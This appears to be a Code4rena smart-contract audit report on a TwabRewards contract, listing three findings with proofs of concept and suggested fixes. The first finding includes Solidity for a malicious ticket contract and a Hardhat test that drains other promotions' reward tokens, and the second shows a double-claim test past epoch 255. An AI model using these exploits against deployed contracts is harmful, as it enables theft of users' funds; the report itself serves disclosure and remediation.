Platform: Code4rena
Start Date: 09/12/2021
Pot Size: $25,000 USDC
Total HM: 12
Participants: 25
Period: 4 days
Judge: LSDan
Total Solo HM: 4
Id: 64
League: ETH
Rank: 17/25
Findings: 3
Award: $343.40
π Selected for report: 3
π Solo Findings: 0
π Selected for report: johnnycash
Also found by: WatchPug, csanuragjain, gpersoon, gzeon, harleythedog, kemmio, kenzo, leastwood, pauliax
108.6174 USDC - $108.62
johnnycash
It allows an attacker to retrieve all the tokens of each promotions.
Anyone can create a new promotion using createPromotion()
. An attacker can create a new malicious promotion with the following parameters:
_numberOfEpochs
equal to 0 to create this promotion for freeThe only verification made on the ticket address given by _requireTicket() is that the smart contract must implement the ITicket
interface.
The attacker can then call claimRewards()
with its wallet address, the malicious promotion id and a single _epochId for the sake of clarity.
_calculateRewardAmount()
is first called to get the reward amount with the following formula (_promotion.tokensPerEpoch * _ticket.getAverageBalanceBetween()) / _ticket.getAverageTotalSuppliesBetween()
. The malicious ticket can return an arbitrary _averageBalance
and an _averageTotalSupplies
of 1, leading to an arbitrary large reward amount._promotion.token.safeTransfer(_user, _rewardsAmount)
is called. It transfers the amount of tokens previously computed to the attacker.The attacker receives the tokens of other promotions without having spent anything.
The malicious smart contract is a copy/paste of TicketHarness.sol and Ticket.solwith the following changes:
/// @inheritdoc ITicket function getAverageTotalSuppliesBetween( uint64[] calldata _startTimes, uint64[] calldata _endTimes ) external view override returns (uint256[] memory) { uint256[] memory _balances = new uint256[](1); _balances[0] = uint256(1); return _balances; } /// @inheritdoc ITicket function getAverageBalanceBetween( address _user, uint64 _startTime, uint64 _endTime ) external view override returns (uint256) { return 1337; }
The test for HardHat is:
describe('exploit()', async () => { it('this shouldnt happen', async () => { const promotionIdOne = 1; const promotionIdTwo = 2; await expect(createPromotion(ticket.address)) .to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionIdOne); let evilTicketFactory = await getContractFactory('EvilTicket'); let evilTicket = await evilTicketFactory.deploy('EvilTicket', 'TICK', 18, wallet1.address); let createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp; await expect(twabRewards.connect(wallet2).createPromotion( evilTicket.address, rewardToken.address, tokensPerEpoch, createPromotionTimestamp, 1,//epochDuration, 0,//epochsNumber, )).to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionIdTwo); await increaseTime(100); const epochIds = ['100']; await twabRewards.connect(wallet2).claimRewards(wallet2.address, promotionIdTwo, epochIds); }); });
It results in the following error:
1) TwabRewards exploit() this shouldnt happen: Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance' at TwabRewardsHarness.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:209) at TwabRewardsHarness.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132) at TwabRewardsHarness.functionCall (@openzeppelin/contracts/utils/Address.sol:94) at TwabRewardsHarness._callOptionalReturn (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:92) at TwabRewardsHarness.safeTransfer (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:25) at TwabRewardsHarness.claimRewards (contracts/TwabRewards.sol:186)
Text editor.
Maybe add a whitelist of trusted tickets?
π Selected for report: johnnycash
Also found by: 0x421f, cmichel, gpersoon, gzeon, harleythedog, kemmio, kenzo, sirhashalot
108.6174 USDC - $108.62
johnnycash
An attacker can claim its reward 256 * epochDuration
seconds after the timestamp at which the promotion started. The vulnerability allows him to claim a reward several times to retrieve all the tokens associated to the promotion.
claimRewards()
claim rewards for a given promotion and epoch. In order to prevent a user from claiming a reward multiple times, the mapping _claimedEpochs keeps track of claimed rewards per user:
/// @notice Keeps track of claimed rewards per user. /// @dev _claimedEpochs[promotionId][user] => claimedEpochs /// @dev We pack epochs claimed by a user into a uint256. So we can't store more than 255 epochs. mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs;
(The comment is wrong, epochs are packed into a uint256 which allows 256 epochs to be stored).
_epochIds
is an array of uint256
. For each _epochId
in this array, claimRewards()
checks that the reward associated to this _epochId
isn't already claimed thanks to
_isClaimedEpoch()
. _isClaimedEpoch() checks that the bit _epochId
of _claimedEpochs
is unset:
(_userClaimedEpochs >> _epochId) & uint256(1) == 1;
However, if _epochId
is greater than 255, _isClaimedEpoch()
always returns false. It allows an attacker to claim a reward several times.
_calculateRewardAmount() just makes use of _epochId
to tell whether the promotion is over.
The following test should result in a reverted transaction, however the transaction succeeds.
it('should fail to claim rewards if one or more epochs have already been claimed', async () => { const promotionId = 1; const wallet2Amount = toWei('750'); const wallet3Amount = toWei('250'); await ticket.mint(wallet2.address, wallet2Amount); await ticket.mint(wallet3.address, wallet3Amount); await createPromotion(ticket.address); await increaseTime(epochDuration * 257); await expect( twabRewards.claimRewards(wallet2.address, promotionId, ['256', '256']), ).to.be.revertedWith('TwabRewards/rewards-already-claimed'); });
Text editor.
A possible fix could be to change the type of _epochId
to uint8
in:
_calculateRewardAmount()
_updateClaimedEpoch()
_isClaimedEpoch()
and change the type of _epochIds
to uint8[]
in claimRewards()
.
π Selected for report: johnnycash
Also found by: harleythedog
126.1622 USDC - $126.16
johnnycash
_getPromotion()
doesn't revert if the specified _promotionId
doesn't exist. It can lead to unexpected behaviors in callers of this function.
For instance, claimRewards will continue its execution and call _calculateRewardAmount()
and eventually _promotion.token.safeTransfer()
(probably with _rewardsAmount
equal to 0).
In contrary to the following comment:
@dev Will revert if the promotion does not exist.
_getPromotion() doesn't revert if the specified _promotionId
doesn't exist, but return a Promotion
structure with all fields set to 0.
Text editor.
Fix suggestion:
function _getPromotion(uint256 _promotionId) internal view returns (Promotion memory _promotion) { _promotion = _promotions[_promotionId]; require(_promotion.creator != address(0), "TwabRewards/invalid-promotion"); return _promotion; }
#0 - PierrickGT
2021-12-09T20:47:46Z
This is an issue we are going to fix but I think it should be of severity 1 (Low Risk) and not 2 (Med Risk).
#1 - dmvt
2022-01-17T10:14:29Z
Agree with the sponsor regarding risk rating. This is a comment issue in an internal function.
1 β Low (L): vulns that have a risk of 1 are considered βLowβ severity when assets are not at risk. Includes state handling, function incorrect as to spec, and issues with comments.